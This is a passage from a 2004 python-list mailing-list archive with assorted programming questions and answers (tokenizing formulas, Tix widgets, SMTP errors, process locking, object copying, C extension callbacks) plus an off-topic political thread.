> Hi,
> 
> I am new to python and would like to parse a string, well acually a
> formula and get the stuff grouped together
> eg:
> 
> if  I have :
> 
> =+GC142*(GC94+0.5*sum(GC96:GC101))
> 
> and I want to get :
> 
> ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(',
> 'GC96', ':', 'GC101', ')', ')']
> 
> how can I get this ??????

The most generic way is to use some lexycal analizer tool. I have not 
tested it, but python comes with shlex.

In the example you send it seems enough to iterate over the input one 
char at a time, grouping chars until you find some non alphabetic, 
numeric, point char.

tokens = []
current_token = ''
for char in input :
   if not is_delimiter(char) :
     current_token += char
   else :
     if current_token :
       tokens.append(current_token)
       current_token = ''
     tokens.append(char)

define is_delimiter() so it returns true when the argument is not 
alphabetic, numerical nor the decimal point.

The "right" way would be something like:

what_i_have_found_until_now = '' # what for short
for char in input :
   if is_meaningful(what + char) :
     what = what + char
     keep looping
   else :
     'what' is a token
     do something with it
     what = char

is_meaningful() encapsulates the lexycal rules for the language

Te execution will be:

= is meaningful
=+ is not -> token =
+
+G no -> token +
G yes
GC yes
GC1 yes
GC14 yes
GC142 yes
GC142* no -> token GC142
*
...
and so on



HTH
-- 
                                    ////
                                   (@ @)
----------------------------oOO----(_)----OOo--------------------------
<>               Ojo por ojo y el mundo acabara ciego
/\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain)
-----------------------------------------------------------------------



From hugonz at hotmail.com  Sat Sep 11 02:00:57 2004
From: hugonz at hotmail.com (Hugo Gonz?lez)
Date: 10 Sep 2004 23:00:57 -0700
Subject: Tix Meter, erratic behavior
Message-ID: <abf57198.0409102200.51b15f21@posting.google.com>

Hi, I'm doing a simple text with the Tix Meter widget, in a program as
follows

import Tix
import time

mainwin=Tix.Tk()
container=Frame(mainwin)

bar=Tix.Meter(container, value=0.0)

bar.pack()

for i in range(100)
    time.sleep(1)
    bar.configure(value=(i/100.0)

-------------

I'm doing this in the interactive editor and I'd expects this gives me
a progresss bar that advances a number every second. When I run this,
the script would become irresponsive, and after Ctl-C the widget will
display with the last value reached in the -for- loop.

Does anyone have a clue why it is not doing what I expect? Can you
give it a try in your interpreter? What am I doing wrong?

Thanks all in advance..

Hugo


From in.aqua.scribis at nl.invalid  Wed Sep  1 16:40:02 2004
From: in.aqua.scribis at nl.invalid (Peter Kleiweg)
Date: Wed, 1 Sep 2004 22:40:02 +0200
Subject: Announcing PyCs, a new Python-like language on .Net
In-Reply-To: <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net>
References: 35.python-list@python.org> <1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<41357372.E263DE37@alcyone.com>
	<8548c5f3.0409010533.1fed5008@posting.google.com>
	<1hhcev52r31j6.1nier31029dhk.dlg@40tude.net>
Message-ID: <Pine.LNX.4.44.0409012239330.1094-100000@kleigh.nl>

Mark Hahn schreef:


> > o What all features do you plan to borrow from C Sharp? In other
> > words, is this C# on Python or Python on C# ?
>
> It is both.  To see the feature list go to out wiki: http://pycs.org/wiki.

pycs.org doesn't seem to exist.

-- 
Peter Kleiweg  L:NL,af,da,de,en,ia,nds,no,sv,(fr,it)  S:NL,de,en,(da,ia)
info: http://www.let.rug.nl/~kleiweg/ls.html



From maxm at mxm.dk  Tue Sep 28 04:55:53 2004
From: maxm at mxm.dk (Max M)
Date: Tue, 28 Sep 2004 10:55:53 +0200
Subject: Is there a function to search the HD
In-Reply-To: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net>
References: <4159229b$0$22676$ba624c82@nntp04.dk.telia.net>
Message-ID: <415926e1$0$192$edfadb0f@dread12.news.tele.dk>

Peter Jensen wrote:
> Hi all.
> 
> I was wondering if there is an inbuild function in python to search your 
> harddrives ( Harddisk's) for a file of a speciel type. I mean can I write a 
> command with 2 parameters ( one being the filetype, and the other the 
> location on the harddisk where I want to search for the specific file type )
> 
> Thank for all input... 


6.1 os -- Miscellaneous operating system interfaces

This module provides a more portable way of using operating system 
dependent functionality than importing a operating system dependent 
built-in module like posix or nt.

6.1.4 Files and Directories

walk( top[, topdown=True [, onerror=None]])

walk() generates the file names in a directory tree, by walking the tree 
either top down or bottom up. For each directory in the tree rooted at 
directory top (including top itself), it yields a 3-tuple (dirpath, 
dirnames, filenames).


-- 

hilsen/regards Max M, Denmark

http://www.mxm.dk/
IT's Mad Science


From peter at engcorp.com  Wed Sep  1 08:33:51 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Sep 2004 08:33:51 -0400
Subject: Python cannot use SMTP...
In-Reply-To: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>
References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>
Message-ID: <KaCdnQgNs7svXKjcRVn-vA@powergate.ca>

JZ wrote:

> I cannot find out what is the problem with my Python. I cannot join to smtp
> host.
>>python
> 
> Python 2.3.4 (#1, Jun 22 2004, 04:42:42)
> [GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-112.7.2)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> 
>>>>import smtplib
>>>>smtplib.SMTP('localhost')
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "/usr/local/lib/python2.3/smtplib.py", line 242, in __init__
>     raise SMTPConnectError(code, msg)
> smtplib.SMTPConnectError: (-1, "onnect: failed to connect to database:
> Error: Access denied for user: 'admin at localhost' (Using password: YES)")

This appears to be because your server is responding in a non-standard
way.  The "-1" arises because an improperly formed SMTP response line
was received.

Try connecting using telnet ("telnet localhost 25") and see what you
get.  It should look something like the first line here:

    220 some.host.name blah blah blah

The first three characters are the critical part.  If they aren't
a three-digit SMTP response code, your server is likely borken.
If you post the results, someone might have some advice, but it's
not likely this is a Python issue.

-Peter


From pwatson at redlinepy.com  Fri Sep  3 10:44:58 2004
From: pwatson at redlinepy.com (Paul Watson)
Date: Fri, 3 Sep 2004 09:44:58 -0500
Subject: print with no newline
References: <2prasrFo4rruU1@uni-berlin.de>
	<mailman.2834.1094220495.5135.python-list@python.org>
Message-ID: <2prebbFo67agU1@uni-berlin.de>


"Jp Calderone" <exarkun at divmod.com> wrote in message
news:mailman.2834.1094220495.5135.python-list at python.org...
> Paul Watson wrote:
> > I thought that using a comma at the end of a print statement would
suppress
> > printing of a newline.  Am I misunderstanding this feature?  How can I
use
> > print and not have a newline appended at the end?
> >
>
>    Print doesn't want to leave the *final* line without a newline.
> sys.stdout.write() doesn't care if your shell prompt gets mixed in with
> the last line of output.  You'll need to use the latter if that's what
> you want.
>
> exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')"
> hereexarkun at boson:~$
>
>    Jp

Ok, I can use sys.stdout.write().  Still, this comma at the end thing does
not seem very consistent.  Before the last line, while it does suppress the
newline, a space is still added to the output.  Why is that?  Yes, I have
seen spaces added between items in the print statement and, while it is
probably convenient at times, is frequently an annoyance.

C:\src\projects\test1>python -c "print 'here',;print 'there'," >jjj

C:\src\projects\test1>od -c -tx1 jjj
0000000   h   e   r   e       t   h   e   r   e  \r  \n
        68 65 72 65 20 74 68 65 72 65 0d 0a
0000014




From cginboston at hotmail.com  Thu Sep 30 09:11:01 2004
From: cginboston at hotmail.com (C Ginger)
Date: Thu, 30 Sep 2004 13:11:01 +0000
Subject: multiple instance on Unix
In-Reply-To: <mailman.4130.1096547595.5135.python-list@python.org>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>	<415AF802.1080909@bellsouth.net>	<D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>
	<mailman.4130.1096547595.5135.python-list@python.org>
Message-ID: <415C05E5.5040108@hotmail.com>

I know the approach to creating a lock file has been around a long time 
but there are certain weaknesses to it. There are a number of race 
conditions in it. For instance if process A detects the directory isn't 
there it will attempt to create it. During that same time process B 
might also not find it there - since A hasn't completed its create yet.

I think a better approach would be to use the shared memory option (see 
man shmop). The idea here is that each invoked instance would get back 
the same shared memory and use an appropriate atomic op to lock the 
process. Of course doing this in pure Python might be a bit difficult.

Chuck Wegrzyn


Jeremy Jones wrote:
> Nigel King wrote:
> 
>> Jeremy,
>> I have not explained very well what I wanted.
>>
>> I had a program that was called randomly by specific emails arriving 
>> which asked for certain information. If two or more emails arrived 
>> simultaneously then procmail asked two or more instances of my program 
>> to run. These instances interfered with one another, so I needed a 
>> process to stop that from happening. What my son devised was for the 
>> first to create a directory and run and when finished to delete the 
>> directory. The subsequent instances could try to create a directory 
>> but fail in an atomic piece of code. They would sleep for 1 or more 
>> seconds and then try again. The first of the subsequent instances that 
>> tries and succeeds stops the others from succeeding.
>>
>> Now, this works but I wondered whether anybody knew of a more standard 
>> bit of python code was available for ensuring that only one instance 
>> was processing. mutex does it for threads but not for instances as I 
>> understand it.
>>
>> The specification for a better process would include the ability to 
>> ensure that the queue was orderly, in other words some sort of FIFO 
>> would ensure that first served would have been the first to request 
>> the lock and fail.
>>
>> Our solution which does not satisfy the previous paragraph.
>>
>> import os, time
>> try:
>>     # This program is not thread safe so we must protect it from being
>>     # trampled over by another copy
>>     # pause if another email is being processed for half an hour maximum
>>     t = time.time()+1800
>>     locked = True
>>     while locked and time.time() < t:
>>         try:
>>             os.mkdir('instancelck')
>>             locked = False
>>             pass
>>         except :
>>             time.sleep(1)
>>             pass
>>         pass
>>     # do everything else
>>     .......
>> finally :
>>     os.rmdir('instancelck')
>>     # Removes the thread locking device so that another copy may run
>>     pass
>>
>> The timer was in case for any reason finally did not run successfully 
>> ever.
>>
>> Facundo's solution I have not yet studied.
>>
>> Thanks
>>
>> Nigel
>>
>>
> 
> Nigel,
> 
> So, basically you have a working solution.  Couple of things, though.  
> You may want to modify your
> 
> finally:
>    os.rmdir()
> 
> to
> 
> finally:
>    if not Locked:
>       os.rmdir()
> 
> otherwise, if one of them times out, it's going to delete that directory.
> Also, you probably want to tighten that except statement down to "except 
> OSError" so that you are handling  the only exception that should be 
> raised right in that block of code.  If something goes batty and raises 
> another type of exception, you probably want to fall into your filly 
> condition, log it (are you logging with this application?), then let 
> finally raise the exception up.
> 
> This last one is just a matter of preference, but you could remove most 
> of those "pass" statements.  They're not hurting anything, but it's just 
> a little cluttered.
> 
> OK - not I know that you weren't looking for comments on your code, but 
> you got it for free, right?  ;-)  Anyway, to your question.  Is there a 
> better way of doing this than the way you are doing it?  Probably, but I 
> don't know for sure what a good answer is.  Frankly, this approach both 
> scares the pants off of me and gives me an upset stomach.  I'm guessing 
> you must be feeling at least a little of that sentiment or you wouldn't 
> be asking if there's another way to do this.  I've just seen this type 
> of thing abused and lead to all kinds of weird and undiagnosable 
> problems.  When you're using the filesystem as either a locking 
> mechanism or as a source of state information, that just smells like the 
> wrong solution to me, but I'm probably biased against it from experience.
> 
> So, what are the alternatives.  This may be way over kill, but maybe you 
> could have procmail kick off a web-services-ish script and talk to a 
> centralized server process (either XMLRPC or SOAP or something like 
> that).  Then you could put the locking in the server process and not 
> have to deal with it from the procmail-spawned scripts.  And, actually, 
> if you used something like SimpleXMLRPCServer, you wouldn't have to do a 
> thing.  The first request would be handled and processed, while the 
> second and subsequent requests would block until the first (or next in 
> the case of subsequent requests) request finished.  But, how do you make 
> sure you've only got one XMLRPCServer running? ;-)
> 
> Another option is a recipe that is on the ASPN Python Cookbook site for 
> this type of thing:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/252495
> But at a glance it looked like more of the same of what you've already 
> done.
> 
> Another alternative is to use the builtin procmail locking as others 
> have suggested.  I googled on it and the most frequent recurring word 
> pattern was "procmail lock failure", so I'd be a little afraid of that.  
> But it'd be worth looking into nonetheless.
> 
> I don't know if in *NIX OSes if you can somehow register an instance of 
> a process and make any subsequent registration block execution until the 
> running one terminates.  That would be ideal.
> 
> Anyway, these are my thoughts.
> 
> 
> Jeremy Jones


From ml at dynkin.com  Sun Sep  5 11:45:27 2004
From: ml at dynkin.com (George Yoshida)
Date: Mon, 06 Sep 2004 00:45:27 +0900
Subject: Problem with 2.4(alpha3)
In-Reply-To: <chaek8$29of$1@dojima-n0.hi-ho.ne.jp>
References: <4138a9f0$0$22757$db0fefd9@news.zen.co.uk>
	<chaek8$29of$1@dojima-n0.hi-ho.ne.jp>
Message-ID: <chfc9j$2d1d$1@dojima-n0.hi-ho.ne.jp>

>> After installing the lastest alpha, on Win 2k, I found that my scripts 
>> no longer worked. It turns out that the .py file assocations had the 
>> switches -n and -e set for 'open'. pyhton.exe was reporting unkown 
>> option for these switches. I removed them and it seems to have fixed it.
>> Is there a problem with the installer, or some other issue when 
>> installing 2.4 over 2.3.4?
> 
> 
> I think this issue is caused by the scipt to create a msi installer.
> I've just filed a bug report to sf, so I hope someone takes a look at it.
> 
> http://www.python.org/sf/1022010

A new installer has been uploaded.
glad to hear that!

http://mail.python.org/pipermail/python-dev/2004-September/048613.html

-George


From vze4rx4y at verizon.net  Thu Sep  9 00:45:47 2004
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Thu, 09 Sep 2004 04:45:47 GMT
Subject: container-indepentent iteration code ?
References: <10jv5ad1sjgep4d@corp.supernews.com>
Message-ID: <%dR%c.2013$%N6.124@trndny01>

[flacco]
> is there a way to iterate over the *values* in a list/dict/whatever,
> regardless of whether it's a list, dict, or whatever?  ie, the iteration
> code will not know beforehand what kind of container it's getting.

try:
    it = obj.itervalues()
except AttributeError:
    it = iter(obj)
for value in it:
    . . .


Raymond Hettinger





From aleaxit at yahoo.com  Tue Sep  7 05:22:41 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 11:22:41 +0200
Subject: open default MUA with a hyper link
References: <chalvm$1944$1@biggoron.nerim.net>
	<mailman.2850.1094246310.5135.python-list@python.org>
	<chh9lt$imf$1@e3k.asi.ansaldo.it>
	<1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com>
	<chhjg9$dqc$1@e3k.asi.ansaldo.it>
	<1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com>
	<chjl7n$lv2$1@e3k.asi.ansaldo.it>
Message-ID: <1gjqq26.1ls8gov4pbu4fN%aleaxit@yahoo.com>

Nemesis <nem at nowhere.invalid> wrote:

> "Alex Martelli" wrote:
> 
> >> Thank you for the link.
> >> I tried that syntax, but it seems that Internet Explorer
> >> doesn't support multiline bodies :-/
> >
> > Your choice is then to either upgrade to a better browser (IE has been
> > stagnant in features for years, resting on its laurels) or to drive IE
> > more intimately and "proprietarily" -- with win32com you can probably
> > make it turn somersaults, although your hair will whiten considerably
> > while you learn how to do so.
> 
> Actually I use Firebird ;-)

Nice database engine, but not much of a browser.  Maybe you mean
Firefox;-?

> I'm studying this syntax in order to implement it in XPN, the newsreader
> I'm writing. I'd like to use it when the article has a 
> 
> "Followup-To: poster". 
> 
> So I need a simple and multiplatform solution.
> 
> However I found that I can use an encoded form of the newline (%0A) that
> works with IE (I haven't tried yet with different browsers).I think I'll
> use the urllib.quote function in order to obtain this coding.

Sounds sensible, offhand.


Alex


From __peter__ at web.de  Tue Sep  7 14:17:09 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 07 Sep 2004 20:17:09 +0200
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Aug 31)
References: <ch2lao$om8$1@lairds.us> <ch6dlr$k6c$03$1@news.t-online.com>
	<cb7112-em9.ln1@lairds.us>
Message-ID: <chktv5$cbb$05$1@news.t-online.com>

Cameron Laird wrote:

> In article <ch6dlr$k6c$03$1 at news.t-online.com>,
> Peter Otten  <__peter__ at web.de> wrote:
>>For the record: I no longer collect the weekly Python-URL.
>>Who done it?
>>
>>Peter
>>
> 
> Cameron Laird, the same person who committed the clerical error of
> using your name instead.

Did I make it sound that bad? Sorry.
Good book, by the way. "Clerical errors" by Alan Isler, I mean...

Peter


From spam at nimblegen.com  Thu Sep  9 09:10:30 2004
From: spam at nimblegen.com (Chuck Dillon)
Date: Thu, 09 Sep 2004 08:10:30 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <10juvnrt88k4868@corp.supernews.com>
References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
Message-ID: <chpkm2$3h2$1@grandcanyon.binc.net>

Jeff Shannon wrote:
> Chuck Dillon wrote:
> 
>>> abridgement of
>>> civil liberties (as in the Patriot Act and the Gitmo gulag),
>>
>>
>>
>> [...] How many U.S. citizens have been victimized?  
> 
> 
> 
> That's the problem -- we have *no* way of finding out, because part of 
> the Patriot Act is a gag rule that prevents the public from knowing how 
> it's used.  It *may* be a small number, and we'd all like to think that 
> it is, but we really don't know.
> 
>> How many dead U.S. citizens does it take to justify that 
>> victimization?  Both numbers are quire small.
> 
> 
> 
> Here there's a lot of room to disagree -- it's a tragedy when U.S. 
> citizens are killed, but it's an even greater tragedy when the entirety 
> of the U.S. loses its freedoms in the name of "security".

That's intrinsically what the political process is all about.  One has 
to maintain confidence in the process.  That requires that there be two 
strong adversarial voices on *all* matters.  Be it going to war, the 
patriot act, abortion law or whatever.

If we went into Iraq and didn't hear dissension or if they passed the 
patriot act and we didn't hear dissension then I would be worried.  But 
the process is healthy.  It's how we identify a point of agreement in 
the gray areas.


> 
> "They that can give up essential liberty to obtain a little temporary 
> safety deserve neither liberty nor safety," as Benjamin Franklin said.  
> The Patriot Act takes away our liberty in the name of temporary safety.  
> We need better security than we had pre-9/11, certainly, but we can get 
> it with a much lower cost to our personal liberty than has come with the 
> Patriot Act.  We *don't* need secret police investigations, secret 
> courts, and secret detentions for secret reasons.

It's easy to say we *don't* need but not so easy to demonstrate.  You 
don't even offer a hand wave attempt at articulating an alternative. 
In the political world everything is subject to debate.  Taking the war 
to the middle east, increasing policing powers, increasing intelligence 
capabilities...  But in the real world there is a huge threat and 
action must be taken.

Granting of any power to police is a compromise of personal liberty.  A 
cost/benefit analysis is needed to determine how much such power is 
justifiable.  Given the known presence of individuals in country that 
are organized and willing to carry out crimes on massive scales most 
folks think that for the time being the patriot act is justified.

-- ced


-- 
Chuck Dillon
Senior Software Engineer
NimbleGen Systems Inc.


From vze4rx4y at verizon.net  Sun Sep  5 02:54:37 2004
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Sun, 05 Sep 2004 06:54:37 GMT
Subject: list conversion question
References: <mailman.2860.1094267481.5135.python-list@python.org>	<3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>
	<ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net>
	<mailman.2871.1094320747.5135.python-list@python.org>
	<chd0k2$hom$02$1@news.t-online.com>
	<Uyp_c.351$ip2.228@newsread3.news.pas.earthlink.net>
Message-ID: <NKy_c.894$Gi5.571@trndny05>

[Peter Otten]
> > Yet another option, not benchmarked, perhaps clearer:
>
> >>>>hist = [0, 1, 0, 5, 43]
> >>>>indices = range(len(hist))
> >>>>indices.sort(key=hist.__getitem__)
> >>>>indices
> >
> > [0, 2, 1, 3, 4]

[Andrew Dalke]
> Looks the fastest to me.  Here's my results, with
> the benchmark below.
 . . .

These results are good.  Consider posting them in the ASPN Cookbook so they
won't get lost.


Raymond Hettinger




From ajsiegel at optonline.com  Tue Sep  7 09:53:01 2004
From: ajsiegel at optonline.com (Arthur)
Date: 7 Sep 2004 06:53:01 -0700
Subject: Method returning new instance of class?
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>
	<4139a87a$0$30204$9b622d9e@news.freenet.de>
	<2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>
	<4139E730.4060203@v.loewis.de>
Message-ID: <213df9a1.0409070553.662fc885@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<4139E730.4060203 at v.loewis.de>...
> Arthur wrote:
> > The app is graphical, and I use a Python extensions in C++ using the Boost
> > library (vpython, new version).  My class instance has an attribute which is
> > a vpython object. Copy.copy doesn't get me where I need to be because my new
> > instance gets a reference to the same vpython object, and changes to it are
> > reflected in the original instance. 
>  [...]
> > 
> > But do you see any reason why this might be?
> 
> Certainly. copy.copy expects that each object follows a certain protocol
> for copying. Copying of certain types (including all classic classes)
> is build into copy.py. For newstyle classes and all other types, copying
> procedures must be registered with copy_reg. If a type is not registered
> with copy_reg, as a last fall back, the __reduce_ex__ and __reduce__
> functions are invoked for the type. If not specifically overridden, they
> always return the original object.


Back at a high bandwidth connection I decided to try to do some
research to try to reasonably follow what you are telling - despite
the fact that the immediate problem I had been trying to solve seems
to be solved.  By using deepcopy(), than overwriting the offending
attributes with fresh instantations.

But both Martin and JP bring copy_reg into the equation in solving
copy issues "by the book".

But the book at:

 3.18 copy -- Shallow and deep copy operations (from the 2.3 docs)

says,
on one hand:

"""Classes can use the same interfaces to control copying that they
use to control pickling"""

and on the other:

"""The copy module does not use the copy_reg registration module.""" 

This is actually pretty esoteric stuff for someone who has not delved
into these mysteries before, so I am a bit lost.

Is it that copy_reg comes into play in defining a custom method for
copying, that is called as a regular method, and not via the copy
module?

Does anyone have a reference for copy_reg used in the specific context
of copying, rather than pickling?

Art


From aleaxit at yahoo.com  Thu Sep 16 07:52:34 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 13:52:34 +0200
Subject: PyCFunction_New() ?
References: <ciblr1$lpj1@imsp212.netvigator.com>
Message-ID: <1gk7ji3.1a18dy395nrmjN%aleaxit@yahoo.com>

Scott Deerwester <scott at deerwester.org> wrote:

> Is it possible to create a Python-callable object, dynamically, in C/C++? I

Sure!  But I'm not clear on why you want to create it dynamically.  The
C++ code is there all the time, isn't it?  So why not the wrapping of it
into Python-callable terms...?

> Even better would be:
> 
> PyCFunction *MyClass::pyCallback(PyObject *ob, PyObject *args) { ... }
> 
> MyClass::MyClass()
> {
>   ...
>   PyObject_CallMethod(somePythonObject, "setCallback", this->pyCallback);
>   ...
> }

Here pyCallback _returns_ a pointer to a PyCFunction, yet you want to
SET it as the callback...?  I'm confused!  Also, PyObject_CallMethod
needs a format string as its 3rd arg, before the args 'proper' -- do you
intend to omit it?  Why?  Again, I'm confused.

> 
> Any help greatly appreciated!

You can call PyCFunction_New, passing it a first argument that's a
PyMethodDef struct pointer, and a 2nd argument that's a PyObject*
(whatever you want the C function to receive as the first argument,
self).  PyMethodDef is, of course:

struct PyMethodDef {
    char        *ml_name;
    PyCFunction  ml_meth;
    int          ml_flags;
    char        *ml_doc;
};
typedef struct PyMethodDef PyMethodDef;

What problems is this giving you...?


Alex


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep 16 15:50:32 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Thu, 16 Sep 2004 21:50:32 +0200
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
References: <a5415304.0409160644.41adea51@posting.google.com>
Message-ID: <cicqq7$kra$2@news-reader4.wanadoo.fr>

And wax ? 




From maney at pobox.com  Sun Sep  5 12:53:02 2004
From: maney at pobox.com (Martin Maney)
Date: Sun, 5 Sep 2004 16:53:02 +0000 (UTC)
Subject: Inline Conditionals?
References: <mailman.2307.1093385983.5135.python-list@python.org>
	<jt6dnb18R-cz6LDcRVn-jQ@powergate.ca>
	<1gj4rpq.1oyt89b14xvbdqN%aleaxit@yahoo.com>
	<slrncirqvf.jf.apardon@trout.vub.ac.be>
	<1gj5bit.rt2tmzcznspxN%aleaxit@yahoo.com>
	<7xbrgxobts.fsf@ruckus.brouhaha.com>
	<1gj5eu6.11pmwsddky84nN%aleaxit@yahoo.com>
Message-ID: <chfg9e$121$4@wheel2.two14.net>

Alex Martelli <aleaxit at yahoo.com> wrote:
> Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
>> more readable and harder to get wrong, unlike your sparse example,
>> which has 'foo' on both branches of the conditional where you meant
>> 'foo' and 'bar'.

> ....as several people already noticed, proving the great readability of
> the sparse way of expressing oneself...

Amazing.  If a typo slips into something you dislike then you cite that
as proof of how bad it is.  When it happens to you while showing off
your preferred form, it becomes, by prestidigitation, proof of how good
that is.  Clearly this is determined by nothing at all like logic.

-- 
Their arguments, being based not in reason, are immune to it.



From lkirsh at cs.ubc.ca  Thu Sep  2 00:00:45 2004
From: lkirsh at cs.ubc.ca (Lowell Kirsh)
Date: Wed, 01 Sep 2004 21:00:45 -0700
Subject: why is this so slow?
Message-ID: <ch65tg$jk6$1@mughi.cs.ubc.ca>

I created the following class (I know it's a dirty hack) so I could do 
foo.bar instead of using a dictionary and having to type foo['bar'] :

     class DefaultAttr(object):
         def __getattribute__(self, attr):
             if not hasattr(self, attr):
                 return ''
             return object.__getattribute__(self,attr)

but its use is totally slowing down my program. Why is it so slow and is 
there a better way?

Lowell


From thinmanj at gmail.com  Sat Sep  4 18:37:16 2004
From: thinmanj at gmail.com (=?ISO-8859-1?Q?Julio_O=F1a?=)
Date: Sat, 4 Sep 2004 18:37:16 -0400
Subject: Dbase Connection
In-Reply-To: <blr_c.16252$Xi.15559@fe1.texas.rr.com>
References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com>
	<20040904174801.07582.00000186@mb-m11.aol.com>
	<blr_c.16252$Xi.15559@fe1.texas.rr.com>
Message-ID: <318a5f1a040904153742652f4d@mail.gmail.com>

On Sat, 04 Sep 2004 22:29:27 GMT, Stan Cook <scook at elp.rr.com> wrote:
> I want to open it with Python.  If that's possible.


Stan,

There are some information out there, maybe one of these links could help you.

Regards.

http://py.vaults.ca/apyllo2.py/96891420
http://cwashington.netreach.net/depo/view.asp?Index=102&ScriptType=python
http://www.garshol.priv.no/download/software/python/

-- 
Julio


From anna at aleax.it  Thu Sep 30 17:11:31 2004
From: anna at aleax.it (Anna Martelli Ravenscroft)
Date: Thu, 30 Sep 2004 21:11:31 GMT
Subject: python vs c#
In-Reply-To: <37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
	<41513aac$0$285$edfadb0f@dread12.news.tele.dk>
	<1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com>
	<37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com>
Message-ID: <7E_6d.33917$35.1643590@news4.tin.it>

Christos TZOTZIOY Georgiou wrote:
> On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com
> (Alex Martelli) might have written:
> 
> 
>>>Well, not to feed the troll, but there is a few relevant points in it's
>>>posting.
>>
>>(Please, please, please: "its", not "it's"... pretty please...)
> 
> 
> (Late reply that maybe can make one smile)
> 
> Alex, you are 99% correct.  Leave a 1% chance that Max referred to
> "julio" as "it"... :)  Trolls are genderless!


Sorry, Christos. Alex was correct: "its" is the appropriate usage here. 
"it's" is a contraction of "it is", and NOT the possessive form of it. 
Furthermore, Alex was quite kind in *not* correcting the mismatch 
between the singular form of the verb "is" and the plural noun "points". 
  I, otoh, am not so generous.

The sentence *should* have read:
"Well, not to feed the troll, but there are a few relevant points in its 
posting."

Anna (pedants-r-us) Martelli




From ajsiegel at optonline.com  Sat Sep  4 10:34:38 2004
From: ajsiegel at optonline.com (Arthur)
Date: Sat, 04 Sep 2004 14:34:38 GMT
Subject: Method returning new instance of class?
References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net>
	<4139a87a$0$30204$9b622d9e@news.freenet.de>
Message-ID: <2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net>


"Martin v. L?wis" <martin at v.loewis.de> wrote in message
news:4139a87a$0$30204$9b622d9e at news.freenet.de...
> Arthur wrote:
> > Essentially I am trying to create a non-destructive tranformation of an
> > instance of a class - is one way of putting it.
> >
> > The way I am currently conceptualizing a solution, what I need is a
method
> > of the class that returns a new instance of the class.
>
> So you want a copy of the object. I'd use copy.copy for this, perhaps
> copy.deepcopy.

That was my first instinct.  And perhaps my problem is in here somewhere.

The app is graphical, and I use a Python extensions in C++ using the Boost
library (vpython, new version).  My class instance has an attribute which is
a vpython object. Copy.copy doesn't get me where I need to be because my new
instance gets a reference to the same vpython object, and changes to it are
reflected in the original instance. Copy.deepcopy doesn't work for more
obscure reasons.  I get an error message generating up from vpython when I
try to change an attribute of the object on the new instance  - though I am
interacting with it in the same manner that works fine when performed on the
original instance.

But do you see any reason why this might be?

If it sounds totally illogical, I'll go back and check myself - because of
course the actual sitruation is a bit more complicated than what I am
describing, and I guess it is possible I am falling off the ledge somewhere
else.

Art
>
> Regards,
> Martin




From crypt_keeper at rome.com  Wed Sep  8 14:15:00 2004
From: crypt_keeper at rome.com (Crypt Keeper)
Date: 8 Sep 2004 11:15:00 -0700
Subject: writing a class
